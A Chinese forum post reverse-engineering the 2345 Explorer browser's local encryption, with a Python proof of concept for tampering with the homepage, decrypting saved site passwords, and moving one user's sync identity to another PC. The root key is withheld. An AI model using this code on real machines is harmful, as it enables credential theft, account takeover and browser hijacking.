最近对浏览器比较感兴趣,于是对两千三百四十五浏览器做了一些无脑逆向,有一点点小小的收获,第一次发文,没什么技术含量的东西,写得超级烂,大佬们喷轻点(心里承受能力弱)
ps:大四狗刚开始实习,想学学移动安全,求大佬们给点方向吧该浏览器在未登录时和登录时设置主页有些区别。具体有四点内容1.未登陆状态主页设置2.登陆状态主页设置3.解密保存在本地的网站登陆账号密码和身份信息4.伪造身份同步云端信息
0.未登陆状态主页设置
先定位到关键算法,OD调试,该函数08D5F028功能就是设置主页,函数原型大概是这样:SetHomePage(this,byte **url)
继续跟进该函数,然后进入函数08D62DD4 ,这个函数的作用就是使用密钥1 rootKey[16]对C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Syn\HardwareInfo.dat进行AES解密(CBC模式 Pkcs5Padding填充),解密后的数据存放在 一个二级指针指向的地址 rootKey[16]是程序写死的密钥原型:DecrypturlKeyFromFile(byte **urlKey)
继续调试,进入函数08D62F44,这个函数原型可以写成:SaveHomePage(this,byte **urlKey,byte **url),后续的url拼接,加密,写文件都是在这个函数里完成的
来到一个函数调用,08D5F65A目的是把url拼接成json格式:{"homepage":"url"}
紧接着调试,这一处调用就是加密前面拼接的json数据,取前面解密出来的urlKey前16位当作key进行AES加密函数大概张这样:Encrypt(byte **json,byte **urlKey,byte **encryptData),加密之后的数据写入 *encryptData
085F8B6的作用就是把前面的加密数据 encryptData写入文件C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat
未登录状态的主页分析到此就结束了,密钥 rootKey[16] 大家去分析一下就知道了,很简单的给出上面几个函数的文件偏移[C] 纯文本查看 复制代码chrome.1652dd4: DecrypturlKeyFromFile(byte **urlKey) chrome.164f224: SaveHomePage(this,byte **urlKey,byte **url)chrome.164F65A: BuildJson(byte **url,byte**json) //拼接成jsonchrome.164F77C: Encrypt(byte **json,byte **urlKey,byte **encryptData) //取urlKey的前16位当作key加密数据chrome.164F8B6: SaveVerifyFile(byte **encryptData)
贴出写的贼烂的伪代码[C++] 纯文本查看 复制代码void SetHomePage(byte *url){ unsigned char prefixJson[] = { "homepage" }; unsigned char rootKey[] = { "xxxxxxxxxxxxxxxxx" }; char *keyPath = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\Syn\\HardwareInfo2.dat"; char *pageFile = "C:\\Users\\xxx\\AppData\\Local\\2345Explorer\\User Data\\Default\\page_file.dat"; HANDLE hFile = CreateFileA(keyPath, GENERIC_READ, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile==INVALID_HANDLE_VALUE) { return; } DWORD bytesRead = 0; DWORD dwSize = GetFileSize(hFile, NULL); UCHAR *encryptKey = new UCHAR[dwSize]; BOOL bRet = ReadFile(hFile, encryptKey, dwSize, &bytesRead, NULL); CloseHandle(hFile); if (bRet == FALSE) { return; } byte *key = AESCBCPK5Decrypt(encryptKey, rootKey); //rootKey作为AES解密的key CBC模式 Pkcs5Padding填充 key[16] = 0; //取解密数据的前16位 ////拼接为:{"xxxx":"url"} string json = string("{\"") + (char*)prefixJson + "\":\"" + (char*)url + "\"}"; byte* encryptData = AESCBCPK5Encrypt(json, key); //加密json数据 hFile = CreateFileA(pageFile, GENERIC_READ|GENERIC_WRITE, 0, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL); if (hFile == INVALID_HANDLE_VALUE) { return; } DWORD dataSize, bytesWrite; WriteFile(hFile, encryptKey, dataSize, &bytesWrite, NULL); CloseHandle(hFile);}
1.登陆状态主页设置
登录状态的时候主页信息会保存在文件:C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyyy\UserPrefs 目录名yyyy是一个md5值,后面会讲这个md5是根据谁生成的
UserPrefs文件的加密算法和未登录使用的算法一致,只是会先在C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyyy\目录生成了一个临时文件:xxxxxxx.tmp
延时几秒再用ReplaceFileW函数替换掉UserPrefs文件,并没有使用CreateFileA/W函数
解密之后的 UserPrefs文件张这样:
马赛克打多了,关键位置还是:{"homepage":"url"} 格式
2.解密保存在本地的网站登陆账号密码和身份信息
登录之后的用户身份信息保存在文件:C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\UserInfo.dat,搞笑的是加密方式和上面主页设置算法还是一致的
解密之后:
注意sync_password_id字段,前面的目录名yyy就是md5(sync_password_id)
最重点的地方来了,用同样的方式解密文件:
C:\Users\xxx\AppData\Local\2345Explorer\User\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2
没看错,就是用户浏览器记住的网站明文用户名密码和提交的一些表单信息
有点害怕,难道不应该使用windows身份加密API来加密这些东西吗
这样我把HardwareInfo2.dat和 Login DataV2文件拖到其他电脑上解密也太容易了吧
3.伪造身份同步云端信息
既然知道了 Login DataV2和 UserInfo.dat的生成过程,如果我们在另一台电脑上安装该浏览器,不登录任何账号,然后使用
A用户的HardwareInfo2.dat文件解密自己的Login DataV2和 UserInfo.dat文件,再用B电脑的HardwareInfo2.dat加密前面解密出来的内容
生成新的Login DataV2和 UserInfo.dat,再放入覆盖掉B电脑的相同文件,浏览器会不会登录上A用户,并且同步A的信息?
好像可以,书签什么的都同步下来了
顺便附上登录/未登录状态设置主页和伪造身份py代码,代码很烂,大佬们打轻点
[Python] 纯文本查看 复制代码import binasciifrom Crypto.Cipher import AESclass AESCBCDeEncrypt: def __init__(self,key): self.key=key self.mode = AES.MODE_CBC self.bs = 16 self.PADDING = lambda s: s + (self.bs - len(s) % self.bs) * chr(self.bs - len(s) % self.bs) def encrypt(self, text): generator = AES.new(self.key, self.mode, self.key) text=self.PADDING(text) crypt = generator.encrypt(text) crypted_str = binascii.b2a_hex(crypt) return crypted_str,crypt def decrypt(self, text): generator = AES.new(self.key, self.mode, self.key) return generator.decrypt(text)#登录设置主页def setPageWithLogin(url): file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs' macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read() keyDecoder = AESCBCDeEncrypt('rootKey') #rootKey没有给出 key = keyDecoder.decrypt(macDecode)[:16] dataDecoder = AESCBCDeEncrypt(key) fileData = open(file, 'rb').read() data = dataDecoder.decrypt(fileData) fix = data.find('"startup_urls":[]}}') + len('"startup_urls":[]}}') data=data[:fix] index = data.find('"homepage":') + len('"homepage":') index2 = data.find(',"pref_client"') url='"'+url+'"' data=data[:index]+url+data[index2:] str,binData=dataDecoder.encrypt(data) f=open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\UserPrefs','wb') f.write(binData) f.close()def decrypt(dataPath,keyPath): rootKey='' #rootKey没有给出 keyRaw=open(keyPath,'rb').read() keyDecoder = AESCBCDeEncrypt(rootKey) key = keyDecoder.decrypt(keyRaw)[:16] dataDecoder = AESCBCDeEncrypt(key) dataRaw=open(dataPath,'rb').read() dataDecoder = AESCBCDeEncrypt(key) return dataDecoder.decrypt(dataRaw)def encrypt(dataRaw,keyPath): rootKey = '' keyRaw = open(keyPath, 'rb').read() keyDecoder = AESCBCDeEncrypt(rootKey) key = keyDecoder.decrypt(keyRaw)[:16] dataDecoder = AESCBCDeEncrypt(key) dataDecoder = AESCBCDeEncrypt(key) return dataDecoder.encrypt(dataRaw)def filterinfo(info,mark): index=info.rfind(mark) return info[:index+1]#生成身份文件def fakeUser(): localKeyFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat' otherKeyFile = r'C:\Users\xxx\Desktop\other.dat' loginFle = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\yyy\Login DataV2' userinfoFile = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\UserInfo.dat' logininfo = filterinfo(decrypt(loginFle, localKeyFile), '}') loginhex, loginRaw = encrypt(logininfo, otherKeyFile) f = open(r'C:\Users\xxx\Desktop\FakerLogin DataV2', 'wb') f.write(loginRaw) f.close() userinfo = filterinfo(decrypt(userinfoFile, localKeyFile), '\n') userinfoHex, userinfoRaw = encrypt(userinfo, otherKeyFile) f = open(r'C:\Users\xxx\Desktop\FakerUserInfo.dat', 'wb') f.write(userinfoRaw) f.close()#未登录设置主页def setPageWithoutLogin(url): file = r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\page_file.dat' macDecode = open(r'C:\Users\xxx\AppData\Local\2345Explorer\User Data\Default\Sync\HardwareInfo2.dat', 'rb').read() keyDecoder = AESCBCDeEncrypt('rootKey') #rootKey没有给出 key = keyDecoder.decrypt(macDecode)[:16] dataDecoder = AESCBCDeEncrypt(key) json='{"homepage":"url"}' json=json.replace('url',url) f=open(file,'wb') f.write(dataDecoder.encrypt(json)[1]) f.close()if __name__ == '__main__': fakeUser() setPageWithoutLogin("iloveChina") setPageWithLogin("iloveChina")
来源:http://www.12558.net
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |